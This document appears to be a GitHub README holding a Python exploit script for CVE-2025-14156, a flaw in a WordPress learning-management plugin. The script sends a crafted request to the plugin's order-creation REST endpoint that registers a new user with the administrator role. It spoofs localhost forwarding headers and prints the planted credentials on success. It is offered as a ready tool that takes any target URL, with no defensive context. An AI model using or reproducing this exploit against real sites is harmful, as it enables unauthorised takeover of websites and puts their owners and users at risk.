README.md
Rendering markdown...
#By: Nxploited
#Github: https://github.com/Nxploited
#Telegram: https://t.me/KNxploited
import sys
import argparse
import json
import requests
def encode_utf8(data):
if isinstance(data, dict):
return {str(k): encode_utf8(v) for k, v in data.items()}
elif isinstance(data, list):
return [encode_utf8(i) for i in data]
elif isinstance(data, str):
return data.encode('utf-8', errors='replace').decode('utf-8')
else:
return data
def send_exploit(target_url):
endpoint = f"{target_url}/wp-json/fox-lms/v1/payments/create-order"
payload = {
"first_name": "Attacker",
"last_name": "User",
"username": "nxploited",
"email": "[email protected]",
"password": "Nxploited@2025Strong",
"role": "administrator",
"courseId": 1
}
payload = encode_utf8(payload)
headers = {
"Content-Type": "application/json",
"User-Agent": "Nxploit-CCL-Bypass",
"X-Requested-With": "XMLHttpRequest",
"X-Forwarded-For": "127.0.0.1",
"X-Originating-IP": "127.0.0.1",
"X-Remote-IP": "127.0.0.1",
"X-Remote-Addr": "127.0.0.1",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Language": "en-US,en;q=0.9"
}
try:
response = requests.post(endpoint, headers=headers, data=json.dumps(payload), verify=False, timeout=20, allow_redirects=False)
except requests.exceptions.RequestException as e:
print(f"[!] Request failed: {str(e)}")
return False
cookies = response.cookies.get_dict()
if cookies:
print("[+] Exploit Successful!")
print(f"Username: {payload['username']}")
print(f"Password: {payload['password']}")
return True
if response.status_code != 200:
print(f"[!] Exploit failed. HTTP status: {response.status_code}")
return False
try:
res_json = response.json()
except Exception:
res_json = None
if 200 <= response.status_code < 300 and res_json is not None:
if any(keyword in response.text for keyword in ["administrator", "success", "user", "wordpress_logged_in"]):
print("[+] Exploit Successful!")
print(f"Username: {payload['username']}")
print(f"Password: {payload['password']}")
return True
else:
print("[!] Exploit response received, but did not indicate success.")
else:
print("[!] Did not receive expected HTTP response.")
return False
def main():
parser = argparse.ArgumentParser(
description="CVE-2025-14156 Exploit By: Nxploited | Telegram: @Nxploited | Github: Nxploited"
)
parser.add_argument('-u', '--url', required=True, help='Target URL (e.g. https://victim.site)')
args = parser.parse_args()
print("[*] Starting CVE-2025-14156 Exploit ...")
if not args.url.startswith("http"):
print("[!] Please provide a valid URL starting with http or https.")
sys.exit(1)
send_exploit(args.url)
if __name__ == "__main__":
main()